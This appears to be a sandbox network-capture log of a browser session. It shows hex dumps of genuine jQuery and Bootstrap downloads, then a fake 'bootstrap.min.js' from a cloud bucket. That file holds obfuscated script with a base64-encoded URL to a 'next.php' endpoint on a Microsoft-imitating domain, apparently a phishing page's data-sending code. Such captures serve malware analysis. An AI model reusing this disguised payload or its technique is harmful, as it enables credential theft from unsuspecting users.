2025-01-14 19:04:46 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2025-01-14 19:04:46 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2025-01-14 19:04:46 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2025-01-14 19:04:46 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50084	104.18.11.207	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:46 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:46 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:46 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 55ff1487c6071501927da70bb950f7b5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1493666 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901fe4cb8d01439c-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:46 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-01-14 19:04:46 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50080	43.152.64.193	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:46 UTC	669	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 5735915102-1323985617.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:47 UTC	505	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553328 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 14 Jan 2025 19:04:47 GMT ETag: "628f59eff49c5f426b3d98eaddec9336" Last-Modified: Tue, 07 Jan 2025 05:26:24 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 9945473926988772176 x-cos-request-id: Njc4NmI1NGZfZWQ4YzdjMWVfMWYwZDlfMjkwNjFiYw== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-01-14 19:04:47 UTC	7699	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4e 7a 4d 31 4f 54 45 31 4d 54 41 79 4c 6d 4a 31 63 32 6c 75 5a 58 4e 7a 62 47 46 33 65 57 56 79 62 57 6c 6a 63 6d 39 7a 62 32 5a 30 4c 6d 4e 76 62 53 39 75 5a 58 68 30 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 Data Ascii: var file = "aHR0cHM6Ly81NzM1OTE1MTAyLmJ1c2luZXNzbGF3eWVybWljcm9zb2Z0LmNvbS9uZXh0LnBocA==";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x
2025-01-14 19:04:47 UTC	16368	IN	Data Raw: 78 32 30 31 38 39 2c 5c 78 32 30 32 35 27 2c 27 6f 6e 3a 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 Data Ascii: x20189,\x2025','on:\x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x
2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 37 35 72 65 6d 5c 78 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d Data Ascii: {\x20-webk','75rem\x201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlim
